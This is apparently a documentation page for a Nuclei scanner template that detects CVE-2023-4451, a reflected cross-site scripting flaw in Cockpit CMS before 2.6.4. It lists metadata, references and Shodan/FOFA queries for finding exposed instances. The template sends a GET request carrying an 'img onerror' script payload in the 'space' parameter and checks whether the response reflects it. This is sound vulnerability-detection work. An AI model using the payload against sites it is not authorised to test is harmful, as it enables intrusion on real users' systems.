Cockpit - Cross-Site Scripting
ID: CVE-2023-4451
Severity: medium
Author: iamnoooob,pdresearch
Tags: cve2023,cve,huntr,cockpit,xss,agentejo
Description
Section titled “Description”Cross-site Scripting (XSS) - Reflected in GitHub repository cockpit-hq/cockpit prior to 2.6.4.
YAML Source
Section titled “YAML Source”id: CVE-2023-4451
info: name: Cockpit - Cross-Site Scripting author: iamnoooob,pdresearch severity: medium description: | Cross-site Scripting (XSS) - Reflected in GitHub repository cockpit-hq/cockpit prior to 2.6.4. reference: - https://huntr.dev/bounties/4e111c3e-6cf3-4b4c-b3c1-a540bf30f8fa/ - https://github.com/Cockpit-HQ/Cockpit/commit/30609466c817e39f9de1871559603e93cd4d0d0c - https://nvd.nist.gov/vuln/detail/CVE-2023-4451 - https://github.com/cockpit-hq/cockpit/commit/30609466c817e39f9de1871559603e93cd4d0d0c - https://github.com/fkie-cad/nvd-json-data-feeds classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-4451 cwe-id: CWE-79 epss-score: 0.00157 epss-percentile: 0.52015 cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: agentejo product: cockpit shodan-query: - html:"Cockpit" - http.favicon.hash:688609340 - http.html:"cockpit" fofa-query: - icon_hash=688609340 - body="cockpit" tags: cve2023,cve,huntr,cockpit,xss,agentejo
http: - method: GET path: - "{{BaseURL}}/install/index.php?1692443074&space=%3Cimg%20src=1%20onerror=alert(document.domain)%3E"
matchers-condition: and matchers: - type: word part: body words: - "Space :<img src=1 onerror=alert(document.domain)>: does not exist"
- type: word part: header words: - "text/html"
- type: status status: - 200# digest: 490a0046304402203a23f0021f2724b19fa79bcd5d5ec244cc60b6a40953c19b42f6881b5bf2ad41022078d2ca9f2c1f24500bf0137a751c67ff0092ce1fe087dfdfe583def37cff22ee:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-4451.yaml"